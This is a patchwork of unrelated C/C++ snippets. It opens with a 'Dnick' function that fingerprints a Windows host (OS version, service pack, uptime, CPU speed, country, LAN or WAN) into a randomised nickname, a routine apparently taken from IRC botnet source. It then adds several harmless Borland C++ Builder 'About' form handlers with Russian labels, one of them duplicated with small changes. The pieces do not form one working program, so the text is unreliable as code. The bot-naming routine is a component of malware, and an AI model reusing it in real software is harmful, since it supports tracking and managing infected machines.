char *Dnick(SOCKET sock, char *strbuf) { char temp[10], ip[16], cpu[16], up[10]; char *os="", *sp=""; OSVERSIONINFO verinfo; verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) { if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95"; if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT"; } else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98"; else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "23"; else os = "UN"; if (strcmp(verinfo.szCSDVersion, "\0") == 0) sp = "SP0"; else if (strstr(verinfo.szCSDVersion, "1") != NULL) sp = "SP1"; else if (strstr(verinfo.szCSDVersion, "2") != NULL) sp = "SP2"; else if (strstr(verinfo.szCSDVersion, "3") != NULL) sp = "SP3"; else if (strstr(verinfo.szCSDVersion, "4") != NULL) sp = "SP4"; else sp = "UNK"; if (PrivateIP(GetIP(sock))) _snprintf(ip, sizeof(ip), "L"); else _snprintf(ip, sizeof(ip), "W"); //get uptime int up1=-1, up2=-1, up3=-1; sscanf(Uptime(), "%dd %dh %dm", &up1, &up2, &up3); if (up1 < 10) _snprintf(up, sizeof(up), "0%d", up1); else if (up1 < 100) itoa(up1, up, 10); else _snprintf(up, sizeof(up), "99"); //get cpu speed //%I64uMHz int cpua = (int)GetCPUSpeed(); if (cpua < 1000) _snprintf(cpu, sizeof(cpu), "0%d", cpua); else _snprintf(cpu, sizeof(cpu), "%d", cpua); srand(GetTickCount()); GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, temp, sizeof(temp)); _snprintf(strbuf, MAXNICKLEN, "%s|%s|%s|%s|%s|%s|", temp, os, sp, up, cpu, ip); for (int i = 0; i < maxrand; i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); }
//--------------------------------------------------------------------------- void __fastcall TfrmAbout::FormActivate(TObject *Sender) { MEMORYSTATUS MS; GlobalMemoryStatus(&MS); PhysMem->Caption = FormatFloat("#,###' KB'", MS.dwTotalPhys / 1024.0); FreeRes->Caption = IntToStr(MS.dwMemoryLoad) + " %"; CpuLabel->Caption = FloatToStr(int((GetCPUSpeed() * 0.9989544010)*10.0)/10.0) + " МГц"; DecimalSeparator = '.'; }
//--------------------------------------------------------------------------- void __fastcall TfrmAbout::FormActivate(TObject *Sender) { MEMORYSTATUS MS; GlobalMemoryStatus(&MS); PhysMem->Caption = "Всего физической памяти : " + FormatFloat("#,###' KB'", MS.dwTotalPhys / 1024.0); FreeRes->Caption = "Используется в данный момент : " + IntToStr(MS.dwMemoryLoad) + " %"; CpuLabel->Caption = "Частота процессора : "; CpuLabel->Caption = CpuLabel->Caption + FloatToStr(int((GetCPUSpeed() * 0.9989544010)*10.0)/10.0) + " МГц"; //DecimalSeparator = '.'; }
void __fastcall TAboutObject::TimerTimer(TObject *Sender) { ((TTimer*) Sender)->Enabled = false; lblMemoryValue->Caption = GetTotalPhys(); lblProcValue->Caption = GetCPUSpeed(); }